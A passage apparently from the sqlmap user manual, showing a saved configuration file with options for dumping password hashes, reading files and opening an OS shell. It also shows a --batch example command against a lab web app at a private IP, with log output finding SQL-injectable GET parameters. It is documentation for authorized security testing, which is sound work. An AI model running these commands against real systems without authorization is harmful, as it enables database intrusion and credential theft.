[Request]
aCred =
aType =
agent =
cookie =
data =
delay = 0
headers =
method = GET
proxy =
referer =
threads = 1
timeout = None
userAgentsFile =
[Miscellaneous]
batch = False
eta = False
sessionFile =
updateAll = False
verbose = 1
[Enumeration]
col =
db =
dumpAll = False
dumpTable = False
excludeSysDbs = False
getBanner = True
getColumns = False
getCurrentDb = False
getCurrentUser = False
getDbs = False
getPasswordHashes = False
getPrivileges = False
getTables = False
getUsers = False
limitStart = 0
limitStop = 0
query =
sqlShell = False
tbl =
user =
[File system]
rFile =
wFile =
[Takeover]
osShell = False
[Fingerprint]
extensiveFp = False
[Injection]
dbms =
eRegexp =
eString =
postfix =
prefix =
regexp =
string =
testParameter =
[Techniques]
timeTest = False
unionTest = False
unionUse = False
The file is a valid sqlmap configuration INI file.
You can edit the configuration options as you wish and pass it to sqlmap
with the -c option as explained above in section 5.2:
$ python sqlmap.py -c "sqlmap-SAUbs.conf"
[...]
[hh:mm:16] [INFO] performed 657 queries in 6 seconds
banner: 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real
(Ubuntu 4.3.2-1ubuntu11) 4.3.2'
Option: --batch
If you want sqlmap to run as a batch tool, without interacting with you in
case of a choice has to be done, you can force it by using --batch
option than letting sqlmap go for a default behaviour.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_str.php?id=1&name=luther" \
--batch -v 1
[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:22] [INFO] GET parameter 'id' is dynamic
[hh:mm:22] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
[hh:mm:22] [INFO] testing unescaped numeric injection on GET parameter 'id'
[hh:mm:22] [INFO] confirming unescaped numeric injection on GET parameter 'id'
[hh:mm:22] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
[hh:mm:22] [INFO] testing if GET parameter 'name' is dynamic
[hh:mm:22] [INFO] confirming that GET parameter 'name' is dynamic
[hh:mm:22] [INFO] GET parameter 'name' is dynamic
[hh:mm:22] [INFO] testing sql injection on GET parameter 'name' with 0 parenthesis
[hh:mm:22] [INFO] testing unescaped numeric injection on GET parameter 'name'
[hh:mm:22] [INFO] GET parameter 'name' is not unescaped numeric injectable
[hh:mm:22] [INFO] testing single quoted string injection on GET parameter 'name'
[hh:mm:22] [INFO] confirming single quoted string injection on GET parameter 'name'
[hh:mm:22] [INFO] GET parameter 'name' is single quoted string injectable with 0 parenthesis
[hh:mm:22] [INFO] there were multiple injection points, please select the one to use to go
ahead:
[0] place: GET, parameter: id, type: numeric (default)
[1] place: GET, parameter: name, type: stringsingle
[q] Quit
Choice: 0
[hh:mm:22] [DEBUG] used the default behaviour, running in batch mode
[...]
back-end DBMS: MySQL >= 5.0.0
As you can see, sqlmap choosed automatically to injection on the first vulnerable parameter which is the default behaviour.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
Whatever you do with this tool is uniquely your responsability. If you are not authorized to punch holes in the network you are attacking be aware that such action might get you in trouble with a lot of law enforcement agencies.